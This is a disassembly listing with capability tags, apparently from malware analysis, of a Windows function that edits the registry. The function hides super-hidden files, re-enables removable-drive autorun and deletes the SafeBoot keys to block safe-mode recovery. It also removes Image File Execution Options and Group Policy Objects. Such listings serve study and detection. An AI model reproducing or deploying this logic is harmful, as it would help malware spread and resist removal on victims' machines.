Function at 0x4016f7
Capabilities:
Delete registry key
Manipulate safe mode programs
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x407ec0
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x1c
push ebx
mov dword [ebp - 0x28], ecx
push esi
push edi
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString_1
xor ebx, ebx
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x1c], 0xff
call fcn.004078d0
lea eax, [ebp - 0x14]
mov edi, 0xf003f
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push edi
push ebx
push dword [ebp - 0x10]
push 0x80000001
call esi
test eax, eax
jne 0x4017bd
push 0x6e
push 0x65
push 0x64
push 0x64
push 0x69
push 0x48
push 0x72
push 0x65
push 0x70
push 0x75
push 0x53
push 0x77
push 0x6f
push 0x68
push 0x53
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c_c_c_c_c_c_c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x44
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push ebx
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4017bd
cmp dword [ebp - 0x20], 4
jne 0x4017bd
cmp dword [ebp - 0x18], 1
jne 0x4017bd
lea eax, [ebp - 0x24]
push 4
push eax
push 4
push ebx
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.SYSTEMControlSet001ControlSafeBootMinimal4D36E967_E325_11CE_BFC1_08002BE10318
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x1c], 0xff
call fcn.004078d0
lea eax, [ebp - 0x14]
push eax
push edi
push ebx
mov ebx, SysStringLen
push dword [ebp - 0x10]
push ebx
call esi
test eax, eax
jne 0x4017f9
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.SYSTEMCurrentControlSetControlSafeBootMinimal4D36E967_E325_11CE_BFC1_08002BE10318
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x14]
push eax
push edi
push 0
push dword [ebp - 0x10]
push ebx
call esi
test eax, eax
jne 0x40182a
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.SYSTEMControlSet001ControlSafeBootNetwork4D36E967_E325_11CE_BFC1_08002BE10318
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x14]
push eax
push edi
push 0
push dword [ebp - 0x10]
push ebx
call esi
test eax, eax
jne 0x40185b
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.SYSTEMCurrentControlSetControlSafeBootNetwork4D36E967_E325_11CE_BFC1_08002BE10318
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x14]
push eax
push edi
push 0
push dword [ebp - 0x10]
push ebx
call esi
test eax, eax
jne 0x40188c
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x14]
push eax
push edi
push 0
push dword [ebp - 0x10]
push ebx
call esi
test eax, eax
jne 0x4018bd
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and dword [ebp - 0x18], 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x1c], 0xff
mov dword [ebp - 0x24], 0x91
call fcn.004078d0
lea eax, [ebp - 0x14]
push eax
push edi
push 0
push dword [ebp - 0x10]
push 0x80000001
call esi
test eax, eax
jne 0x40197f
push 0x6e
push 0x75
push 0x52
push 0x6f
push 0x74
push 0x75
push 0x41
push 0x65
push 0x70
push 0x79
push 0x54
push 0x65
push 0x76
push 0x69
push 0x72
push 0x44
push 0x6f
push 0x4e
lea eax, [ebp - 0x10]
push str._c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c_c
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x50
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40197f
cmp dword [ebp - 0x20], 4
jne 0x40197f
cmp dword [ebp - 0x18], 0x91
je 0x40197f
cmp dword [ebp - 0x18], 0x95
je 0x40197f
lea eax, [ebp - 0x24]
push 4
push eax
push 4
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderSuperHidden
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x1c], 0xff
call fcn.004078d0
lea eax, [ebp - 0x14]
push eax
push edi
push 0
push dword [ebp - 0x10]
push ebx
call esi
test eax, eax
jne 0x401a1e
mov ebx, dword [ebp - 0x28]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push dword [ebx + 0xa40]
push eax
push 0
push str.Type
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401a1e
cmp dword [ebp - 0x20], 1
jne 0x401a1e
push str.radio
push dword [ebx + 0xa40]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x401a1e
push str.radio
push dword [ebx + 0xa40]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0xff
push dword [ebx + 0xa40]
push dword [ebp - 0x20]
push 0
push str.Type
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call ebx
push str.SoftwareMicrosoftWindowsCurrentVersionGroup_Policy_Objects
lea ecx, [ebp - 0x10]
call fcn.004078d0
lea eax, [ebp - 0x14]
push eax
push edi
push 0
mov edi, 0x80000001
push dword [ebp - 0x10]
push edi
call esi
test eax, eax
jne 0x401a56
push dword [ebp - 0x10]
push edi
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push dword [ebp - 0x14]
call ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret